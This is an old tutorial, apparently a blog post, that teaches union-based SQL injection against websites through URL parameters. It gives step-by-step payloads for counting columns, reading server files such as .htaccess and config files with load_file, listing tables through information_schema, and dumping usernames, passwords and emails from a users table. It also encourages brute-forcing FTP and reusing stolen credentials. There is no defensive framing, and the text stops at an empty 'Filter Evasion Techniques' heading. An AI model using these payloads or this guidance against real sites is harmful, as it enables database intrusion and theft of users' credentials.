WebSite/Web Service SQL Injection

Post date: May 10, 2011 2:08:20 AM

"The act of entering malformedor unexpected data (perhaps into a front-end web form or front-end applicationfor example) so that the back-end SQL database running behind the website orapplication executes SQL commands that the programmer never intended to permit,possibly allowing an intruder to break into or damage the database."

Background Information

SQL Injection Fact:

The Lesson

Injection SQL Queries into URL Parameters

So you've found a site: '

http://www.site.com/index.php?id=5'

and want to test if it's vulnerableto SQL Injections. Begin by checking if you can execute some of your ownqueries, so try:

/index.php?id=5 and 1=0--

If after executing the abovestatement, nothing has happened and the page has remained the same, you cantry:

/index.php?id='

if a blank page showed up you just might be in luck!

Now we want to find how many columnsand which ones are showing when the select statement is executed so we use:

/index.php?id=5 order by 20

If you get an error decrement thenumber 20, if there is no error continue incrementing until you get one andthen the number just before your error is the number of columns in the tableyou're selecting from.

Example:

/index.php?id=5 order by 15<--returns no error, but /index.php?id=5 order by 16

returns an error, then we know thatthere are 15 columns in our select statement.

The next statement will null theid=5 so the script only executes our commands and not it's own, and show uswhich columns we can extract data from:

/index.php?id=null union all select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

The comment comments out anythingthe script would append to the end of the statement so that only our statementis looked at.

So now look at the page and if yousee any of the numbers you just typed in, you know those columns are showing,and we can gather information from them. For this example let's pretend columns5, 7, and 9 are showing.

Now we can begin gatheringinformation!

/index.php?id=null union all select1,2,3,4,user(),6,database(),8,version(),10,11,12,1 3,14,15--

As you can see we selected valuesfrom the showing columns, what if we want to clean this up a bit, and put allof those selected values in one column? 

This is where concat() comes in:

/index.php?id=null union all select1,2,3,4,concat(user(),char(58),database(),char(58),

version()),

6,7,8,9,10,11,12,13,14,15--

Now look at your page, user(),database(), and version() are all in one place, and are separated by a colonthis demonstrates the use of concat() and char().

The user() will usually givesomething like username@localhost, but you may get lucky and getusername@ipaddresshere, in this instance you can try to brute force the FTP login

The version would help you look up exploits for that version of thedatabase() in use--but only if you're a skiddy!

Before we can check if we have load_fileperms, we must get an FPD (Full Path Disclosure) so we know exactlywhere the files are located that we're trying to open. Below are some methodsto get an FPD:

/index.php?id[]= 

You could attempt to Googlethe full path of the site by trying something like "/home/sitename"and hoping that you'll find something in Google

Session Cookie Trick

Thanks to Code Mobile.In the url type:

'javascript:void(document.cookie="PHPSESSID=");'

This will give a session_start()error and an FPD.

Now we will attempt to useload_file(), this example will load the .htaccess file, make sure you know thefile you're trying to load actually exists or you may miss out on youropportunity to realize what great perms you have:

/index.php?id=null union all select1,2,3,4,load_file(char(47, 104, 111, 109, 101, 47, 115, 105, 116, 101, 110, 97,109, 101, 47, 100, 105, 114, 47, 97, 108, 108, 111, 102, 116, 104, 105, 115,105, 115, 102, 114, 111, 109, 111, 117, 114, 102, 112, 100, 47, 46, 104, 116,97, 99, 99, 101, 115, 115)),6,7,8,9,10,11,12,13,14,15--

If you see the .htaccess file,congrats! 

You have load_file() perms. Now try to load include files such asconfig.inc.php for database usernames and passwords, hoping that the admin isdumb enough to use the same username and password for ftp. 

Another idea wouldbe to load .htpasswd after finding it's location from .htaccess and thenlogging in to all the password-protected areas that you want to on the site.

If you don't see the .htaccess file,I will include one more way to extract info by using sql injections.

Using information_schema.tables

So you don't have load_file() perms? 

No problem, we can check for information_schema.tables.

1) 'table_name' is the name of atable that exists in all information_schema tables on every site:

/index.php?id=null union all select1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tables--

If the site is showinginformation_schema.tables, the words 'CHARACTER_SETS' will appear in column 5.What can I do with CHARACTER_SETS you might be wondering. Well, nothing thatI'm going to show you, but you can find out other tables that exist on the site. 

The information_schema.tables contains a list of every table in the database onthe site, so you can pull up the table username and maybe password if theyexist...

Then what do you think the information_schema.columns hold? That'sright, a list of all the columns on the site. So rather than using just theabove injection you could try any of the following:

-/index.php?id=null union all select1,2,3,4,distinct table_name,6,7,8,9,10,11,12,13,14,15 frominformation_schema.tables—

Selects all 'distinct' table namesfrom information_schema.tables, meaning it will print out all tables at onetime

-/index.php?id=null union all select1,2,3,4,concat(table_name,char(58),column_name),6, 7,8,9,10,11,12,13,14,15 frominformation_schema.columns—

Selects all tables and columns thatgo with each table seperated by a colon

2) If none of the above queries giveyou anything except for 'CHARACTER_SETS' you will have to use enumeration todetermine the names of the other tables:

/index.php?id=null union all select1,2,3,4,table_name,6,7,8,9,10,11,12,13,14,15 from information_schema.tableswhere table_name != "CHARACTER_SETS"--

Then it would show the next table inline so you would modify the above to say:

where table_name !="CHARACTER_SETS" and table_name != "nexttableinline"--

Until no more tables show, then youcan do the same for the columns.

3) Now after you've executed one orall of those statements, let's say you found the table 'users' and it has thecolumns 'username', 'password', 'id', and 'email'. 

To extract that info fromthe table, use:

/index.php?id=null union all select1,2,3,4,concat(username, char(58), password, char(58), id, char(58),email),6,7,8,9,10,11,12,13,14,15 from users--

And you'll get the info yourequested, of course you can modify that as you like such as:

-/index.php?id=null union all select1,2,3,4,username,6,password,8,9,10,11,12,13,14,15 from users where id=1--

-/index.php?id=null union all select1,2,3,4,concat(password, char(58), id, char(58),email),6,7,8,9,10,11,12,13,14,15 from users where username='Admin'

Replacing Admin with the top user'sname such as admin or owner etc..

Final Tips

With any luck, one of these methodshas worked for you and you were able to accomplish your goal. However, if noneof them worked, you can start guessing common table names and then columns:

/index.php?id=null union all select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from users

If the page shows up, you know thetable exists and you can start guessing column names:

/index.php?id=null union all select1,2,3,4,username,6,7,8,9,10,11,12,13,14,15 from users

If you get a username, good job youguessed a correct table and column, otherwise keep guessing.

Filter Evasion Techniques

-Courtesy Barunang